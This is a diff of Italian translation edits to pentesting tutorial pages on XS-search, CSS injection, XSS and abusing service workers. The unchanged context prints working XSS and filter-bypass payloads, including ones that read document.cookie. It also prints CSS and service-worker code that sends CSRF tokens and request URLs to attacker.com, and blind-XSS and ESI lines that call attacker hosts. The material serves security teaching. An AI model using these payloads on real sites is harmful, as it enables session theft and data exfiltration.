+Se hai bisogno di **esfiltrare contenuto** e puoi **aggiungere HTML prima del segreto**, dovresti controllare le **tecniche comuni di markup pendente**.\
 Tuttavia, se per qualsiasi motivo **DEVI** farlo **carattere per carattere** (forse la comunicazione avviene tramite un colpo di cache) puoi usare questo trucco.
 
 **Le immagini** in HTML hanno un attributo "**loading**" il cui valore può essere "**lazy**". In tal caso, l'immagine verrà caricata quando viene visualizzata e non mentre la pagina si sta caricando:
@@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
 
 ### CSS ReDoS
 
-Se viene utilizzato `jQuery(location.hash)`, è possibile scoprire tramite il tempo **se esiste del contenuto HTML**, questo perché se il selettore `main[id='site-main']` non corrisponde, non è necessario controllare il resto dei **selettori**:
+Se `jQuery(location.hash)` è usato, è possibile scoprire tramite il tempo **se esiste del contenuto HTML**, questo perché se il selettore `main[id='site-main']` non corrisponde, non è necessario controllare il resto dei **selettori**:
 ```javascript
 $(
 "*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"

src/pentesting-web/xs-search/connection-pool-by-destination-example.md

@@ -16,7 +16,7 @@ Vediamo come funziona questo exploit:
 - Se il tempo è **maggiore**, l'**iniezione** era nella **nota** rimasta, se il tempo è **minore**, il **flag** era lì.
 
 > [!NOTE]
-> A dire il vero, leggendo lo script mi è mancata qualche parte in cui l'**attaccante fa caricare la pagina al bot per attivare i tag img**, non vedo nulla del genere nel codice.
+> A dire il vero, leggendo lo script mi è mancata una parte in cui l'**attaccante fa caricare la pagina al bot per attivare i tag img**, non vedo nulla del genere nel codice.
 ```html
 <html>
 <head>

src/pentesting-web/xs-search/connection-pool-example.md

@@ -9,7 +9,7 @@ Nella sfida [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/s
 In questa sfida, l'obiettivo è esfiltrare una flag che apparirà nella sessione web del bot all'interno di un post. Questi sono gli asset di cui dispone l'attaccante:
 
 - Il **bot** visiterà un **URL** fornito dall'attaccante
-- L'attaccante può **iniettare HTML** nella pagina (ma non JS, viene utilizzato dompurify) abusando di un **CSRF** facendo sì che il **bot crei un post** con quell'HTML.
+- L'attaccante può **iniettare HTML** nella pagina (ma non JS, viene utilizzato dompurify) abusando di un **CSRF** per far sì che il **bot crei un post** con quell'HTML.
 - L'attaccante può abusare di un CSRF per far **eliminare** al **bot** il **primo** **post** all'interno del web.
 - Poiché i **post** sono ordinati **alfabeticamente**, quando il **primo post viene eliminato**, se il contenuto **HTML** dell'attaccante è **caricato** significa che era **alfabeticamente prima della flag**.
 
@@ -313,8 +313,8 @@ Nell'exploit puoi vedere:
 - Abusare del CSRF
 - Occupare tutte le socket tranne 1
 - Calibrare la risposta
-- Iniziare a fare bruteforcing accedendo alla potenziale pagina con il flag
+- Iniziare a fare bruteforce accedendo alla potenziale pagina con il flag
-- La pagina potenziale sarà accessibile e immediatamente verrà anche acceduto a un URL controllato dall'attaccante per verificare quanto tempo richiedono entrambe le richieste.
+- La pagina potenziale verrà accessibile e immediatamente verrà anche accessibile un URL controllato dall'attaccante per verificare quanto tempo richiedono entrambe le richieste.
 ```html
 <h1>DiceCTF 2022 web/carrot</h1>
 

src/pentesting-web/xs-search/css-injection/README.md

@@ -19,7 +19,7 @@ input[name="csrf"][value^="9"] {
 background-image: url(https://attacker.com/exfil/9);
 }
 ```
-Tuttavia, questo approccio presenta una limitazione quando si tratta di elementi di input nascosti (`type="hidden"`) perché gli elementi nascosti non caricano sfondi.
+Tuttavia, questo approccio presenta una limitazione quando si tratta di elementi di input nascosti (`type="hidden"`) perché gli elementi nascosti non caricano gli sfondi.
 
 #### Bypass per Elementi Nascosti
 
@@ -97,7 +97,7 @@ Puoi trovare il [**codice originale di Pepe Vila per sfruttare questo qui**](htt
 
 > [!WARNING]
 > A volte lo script **non rileva correttamente che il prefisso + suffisso scoperto è già la flag completa** e continuerà in avanti (nel prefisso) e indietro (nel suffisso) e a un certo punto si bloccherà.\
-> Non preoccuparti, controlla semplicemente l'**output** perché **puoi vedere la flag lì**.
+> Nessun problema, controlla semplicemente l'**output** perché **puoi vedere la flag lì**.
 
 ### Altri selettori
 
@@ -212,7 +212,7 @@ Quando accedi a questa pagina, Chrome e Firefox recuperano "?A" e "?B" perché i
 
 **Riferimento:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
 
-La tecnica descritta implica l'estrazione di testo da un nodo sfruttando le legature dei caratteri e monitorando i cambiamenti di larghezza. Il processo coinvolge diversi passaggi:
+La tecnica descritta implica l'estrazione di testo da un nodo sfruttando le legature dei caratteri e monitorando i cambiamenti di larghezza. Il processo prevede diversi passaggi:
 
 1. **Creazione di font personalizzati**:
 
@@ -281,7 +281,7 @@ Sebbene questo metodo consenta la rilevazione di caratteri unici man mano che ap
 > Fondamentalmente, il **unicode-range viene utilizzato per rilevare un carattere**, ma poiché non vogliamo caricare un font esterno, dobbiamo trovare un altro modo.\
 > Quando il **carattere** è **trovato**, gli viene **assegnato** il **font Comic Sans** preinstallato, che **rende** il carattere **più grande** e **attiva una barra di scorrimento** che **rivelerà il carattere trovato**.
 
-Controlla il codice estratto dal PoC:
+Controlla il codice estratto dalla PoC:
 ```css
 /* comic sans is high (lol) and causes a vertical overflow */
 @font-face {
@@ -710,7 +710,7 @@ background: blue var(--leak);
 
 **Reference:** Questo è menzionato come [una soluzione non riuscita in questo writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Questo caso è molto simile al precedente, tuttavia, in questo caso l'obiettivo di rendere specifici **chars più grandi di altri è nascondere qualcosa** come un pulsante da non premere da parte del bot o un'immagine che non verrà caricata. Quindi potremmo misurare l'azione (o la mancanza di azione) e sapere se un char specifico è presente all'interno del testo.
+Questo caso è molto simile al precedente, tuttavia, in questo caso l'obiettivo di rendere specifici **chars più grandi di altri è nascondere qualcosa** come un pulsante per non essere premuto dal bot o un'immagine che non verrà caricata. Quindi potremmo misurare l'azione (o la mancanza di azione) e sapere se un char specifico è presente all'interno del testo.
 
 ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 

src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md

@@ -13,7 +13,7 @@ connection-pool-example.md
 L'idea dietro questo exploit è:
 
 - I post vengono caricati in ordine alfabetico
-- Un **attaccante** può **iniettare** un **post** che inizia con **"A"**, quindi un **tag HTML** (come un grande **`<canvas`**) occuperà la maggior parte dello **schermo** e alcuni finali **`<img lazy` tags** per caricare le cose.
+- Un **attaccante** può **iniettare** un **post** che inizia con **"A"**, poi un **tag HTML** (come un grande **`<canvas`**) riempirà gran parte dello **schermo** e alcuni finali **`<img lazy` tags** per caricare le cose.
 - Se invece di una "A" l'**attaccante inietta lo stesso post ma che inizia con una "z".** Il **post** con il **flag** apparirà **per primo**, poi il **post iniettato** apparirà con la iniziale "z" e il **grande** **canvas**. Poiché il post con il flag è apparso per primo, il primo canvas occuperà tutto lo schermo e i finali **`<img lazy`** tags iniettati **non saranno visti** nello schermo, quindi **non verranno caricati**.
 - Poi, **mentre** il bot sta **accedendo** alla pagina, l'**attaccante** invierà **richieste fetch**.&#x20;
 - Se le **immagini** iniettate nel post vengono **caricate**, queste **richieste fetch** richiederanno **più tempo**, quindi l'attaccante sa che il **post è prima del flag** (in ordine alfabetico).

src/pentesting-web/xs-search/performance.now-+-force-heavy-task.md

@@ -7,7 +7,7 @@
 In questa sfida, l'utente poteva inviare migliaia di caratteri e se il flag era contenuto, i caratteri sarebbero stati restituiti al bot. Quindi, inviando un grande numero di caratteri, l'attaccante poteva misurare se il flag era contenuto nella stringa inviata o meno.
 
 > [!WARNING]
-> Inizialmente, non ho impostato la larghezza e l'altezza dell'oggetto, ma successivamente ho scoperto che è importante perché la dimensione predefinita è troppo piccola per fare la differenza nel tempo di caricamento.
+> Inizialmente, non impostai la larghezza e l'altezza dell'oggetto, ma successivamente scoprii che è importante perché la dimensione predefinita è troppo piccola per fare la differenza nel tempo di caricamento.
 ```html
 <!DOCTYPE html>
 <html>

src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md

@@ -8,9 +8,9 @@ XSLT è una tecnologia impiegata per trasformare documenti XML in diversi format
 
 I framework più frequentemente utilizzati includono:
 
-- **Libxslt** di Gnome,
+- **Libxslt** da Gnome,
-- **Xalan** di Apache,
+- **Xalan** da Apache,
-- **Saxon** di Saxonica.
+- **Saxon** da Saxonica.
 
 Per lo sfruttamento delle vulnerabilità associate a XSLT, è necessario che i tag xsl siano memorizzati sul lato server, seguiti dall'accesso a quel contenuto. Un'illustrazione di tale vulnerabilità è documentata nella seguente fonte: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
 

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -35,29 +35,29 @@ debugging-client-side-js.md
 
 ## Valori riflessi
 
-Per sfruttare con successo un XSS, la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
+Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
 
-- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web, potresti sfruttare un **Reflected XSS**.
+- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web potresti sfruttare un **Reflected XSS**.
-- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
+- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare un **Stored XSS**.
-- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
+- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un **DOM XSS**.
 
 ## Contesti
 
-Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
+Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
 
 ### HTML grezzo
 
-Se il tuo input è **riflesso sulla pagina HTML grezza**, dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
+Se il tuo input è **riflesso sulla pagina HTML grezza** dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
 Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
 
 ### All'interno dell'attributo dei tag HTML
 
-Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
+Se il tuo input è riflesso all'interno del valore dell'attributo di un tag potresti provare:
 
 1. A **sfuggire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
 2. Se **puoi sfuggire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
-3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso in **se controlli tutto il valore o solo una parte**, sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
+3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
-4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**", potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="**
+4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
 
 Esempio strano di Angular che esegue XSS se controlli un nome di classe:
 ```html
@@ -69,7 +69,7 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
 
 In questo caso, il tuo input è riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
 
-- Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
+- Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag iniettato `</script>` è all'interno del codice HTML.
 - Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
 - `'-alert(1)-'`
 - `';-alert(1)//`
@@ -94,7 +94,7 @@ js-hoisting.md
 
 Diverse pagine web hanno endpoint che **accettano come parametro il nome della funzione da eseguire**. Un esempio comune da vedere nel mondo reale è qualcosa come: `?callback=callbackFunc`.
 
-Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del parametro** (ad esempio in 'Vulnerable') e cercare nella console errori come:
+Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del parametro** (ad esempio a 'Vulnerable') e cercare nella console errori come:
 
 ![](<../../images/image (711).png>)
 
@@ -150,7 +150,7 @@ server-side-xss-dynamic-pdf.md
 ## Iniettare all'interno di HTML raw
 
 Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML encoded** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
-Per questi casi, tieni anche presente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+Per questi casi, tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
 &#xNAN;_**Nota: Un commento HTML può essere chiuso usando\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*o \*\*\*\*\*\***`--!>`\*\**_
 
 In questo caso e se non viene utilizzato alcun black/whitelisting, potresti usare payload come:
@@ -166,7 +166,7 @@ Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare gl
 
 ### Forzatura di tag/eventi
 
-Vai a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, invia tutti utilizzando Burp intruder e controlla se qualche tag non è stato scoperto come malevolo dal WAF. Una volta che hai scoperto quali tag puoi utilizzare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura di prima).
+Vai a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, invia tutti utilizzando Burp intruder e controlla se qualche tag non è stato scoperto come malevolo dal WAF. Una volta che hai scoperto quali tag puoi usare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura di prima).
 
 ### Tag personalizzati
 
@@ -174,9 +174,9 @@ Se non hai trovato alcun tag HTML valido, puoi provare a **creare un tag persona
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
-### Blacklist Bypasses
+### Bypass delle Blacklist
 
-Se viene utilizzato un qualche tipo di blacklist, potresti provare a eluderla con alcuni trucchi sciocchi:
+Se viene utilizzata una qualche forma di blacklist, potresti provare a eluderla con alcuni trucchi sciocchi:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -239,7 +239,7 @@ Per controllare in quali caratteri sono decomposti controlla [qui](https://www.c
 
 ### Click XSS - Clickjacking
 
-Se per sfruttare la vulnerabilità hai bisogno che **l'utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**abusare del Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
+Se per sfruttare la vulnerabilità hai bisogno che **l'utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
 
 ### Impossibile - Dangling Markup
 
@@ -247,7 +247,7 @@ Se pensi che **sia impossibile creare un tag HTML con un attributo per eseguire
 
 ## Iniettare all'interno del tag HTML
 
-### All'interno del tag/escaping dal valore dell'attributo
+### All'interno del tag/uscire dal valore dell'attributo
 
 Se sei **all'interno di un tag HTML**, la prima cosa che potresti provare è **uscire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
 Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, ad esempio utilizzando alcuni payload come (_nota che in questo esempio le virgolette doppie sono usate per uscire dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
@@ -267,7 +267,7 @@ Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del
 ```
 ### All'interno dell'attributo
 
-Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
+Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso in **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
 Un altro **esempio** interessante è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
 
 **Bypass all'interno dell'evento usando la codifica HTML/URL encode**
@@ -295,7 +295,7 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Bypass dell'evento interno utilizzando la codifica Unicode**
+**Bypass all'interno dell'evento utilizzando la codifica Unicode**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@@ -488,7 +488,7 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
 ```
 ### Template literals \`\`
 
-Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **incorporare espressioni JS** utilizzando la sintassi `${ ... }`.\
+Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
 Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
 
 Questo può essere **abusato** utilizzando:
@@ -510,7 +510,7 @@ loop``````````````
 <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
 ```
-### Esecuzione JS con codifica Unicode
+### Esecuzione JS di codifica Unicode
 ```javascript
 alert(1)
 alert(1)
@@ -574,7 +574,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**Spazi bianchi in JavaScript**
+**Spazi bianchi JavaScript**
 ```javascript
 log=[];
 function funct(){}
@@ -739,7 +739,7 @@ top[8680439..toString(30)](1)
 ## **Vulnerabilità DOM**
 
 C'è del **codice JS** che utilizza **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.\
-**A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:**
+**A causa dell'estensione della spiegazione delle** [**vulnerabilità DOM è stata spostata a questa pagina**](dom-xss.md)**:**
 
 {{#ref}}
 dom-xss.md
@@ -766,7 +766,7 @@ Forse un utente può condividere il proprio profilo con l'amministratore e se il
 
 ### Session Mirroring
 
-Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
+Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto e affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
 
 Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi cookie/sessione.
 
@@ -782,8 +782,8 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
 ```
 ### Ruby-On-Rails bypass
 
-A causa di **RoR mass assignment**, le citazioni vengono inserite nell'HTML e poi la restrizione delle citazioni viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
+A causa di **RoR mass assignment** le citazioni vengono inserite nell'HTML e poi la restrizione delle citazioni viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
-Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
+Esempio di modulo ([from this report](https://hackerone.com/reports/709336)), se invii il payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
@@ -825,10 +825,10 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS con iniezione di intestazioni in una risposta 302
 
-Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo è **non banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
+Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo **non è banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
 
 In [**questo report**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
-Protocolli noti in passato: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`.
+Protocolli noti passati: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`.
 
 ### Solo lettere, numeri e punti
 
@@ -862,7 +862,7 @@ const char* const kSupportedJavascriptTypes[] = {
 };
 
 ```
-### Tipi di script per XSS
+### Tipi di Script per XSS
 
 (Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
 ```html
@@ -871,7 +871,7 @@ const char* const kSupportedJavascriptTypes[] = {
 La risposta è:
 
 - **module** (predefinito, nulla da spiegare)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un **`.wbn`** file.
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un file **`.wbn`**.
 ```html
 <script type="webbundle">
 {
@@ -986,7 +986,7 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
+Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
 
 - Utilizzando import()
 ```javascript
@@ -1429,7 +1429,7 @@ shadow-dom.md
 
 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
 
-### Payload XSS ciechi
+### Payloads XSS ciechi
 
 Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
 ```markup
@@ -1471,9 +1471,9 @@ Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
 <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 ```
-### Regex - Accesso ai Contenuti Nascosti
+### Regex - Access Hidden Content
 
-Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
+Da [**questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1494,7 +1494,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 
 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
 
-## XSS Abusando di altre vulnerabilità
+## XSS Abusare di altre vulnerabilità
 
 ### XSS in Markdown
 
@@ -1506,7 +1506,7 @@ xss-in-markdown.md
 
 ### XSS a SSRF
 
-Hai XSS su un **sito che utilizza la cache**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
+Hai XSS su un **sito che utilizza caching**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```

src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

@@ -28,7 +28,7 @@ e.respondWith(caches.match(e.request).then(function(response) {
 fetch('https://attacker.com/fetch_url/' + e.request.url)
 });
 ```
-E questo è il codice che **registrerà il worker** (il codice che dovresti essere in grado di eseguire abusando di un **XSS**). In questo caso, una richiesta **GET** verrà inviata al server **degli attaccanti** **notificando** se la **registrazione** del service worker è stata effettuata con successo o meno:
+E questo è il codice che **registrerà il worker** (il codice che dovresti essere in grado di eseguire abusando di un **XSS**). In questo caso, verrà inviata una richiesta **GET** al server **degli attaccanti** **notificando** se la **registrazione** del service worker è stata completata con successo o meno:
 ```javascript
 <script>
 window.addEventListener('load', function() {

src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md

@@ -8,7 +8,7 @@ La tecnica discussa qui coinvolge la comprensione del comportamento e dell'inter
 
 ### Punti Chiave:
 
-- La **bfcache** ha la precedenza sulla disk cache nelle navigazioni avanti/indietro.
+- La **bfcache** ha precedenza sulla disk cache nelle navigazioni avanti/indietro.
 - Per utilizzare una pagina memorizzata nella disk cache invece della bfcache, quest'ultima deve essere disabilitata.
 
 ### Disabilitare bfcache:

src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md

@@ -4,7 +4,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
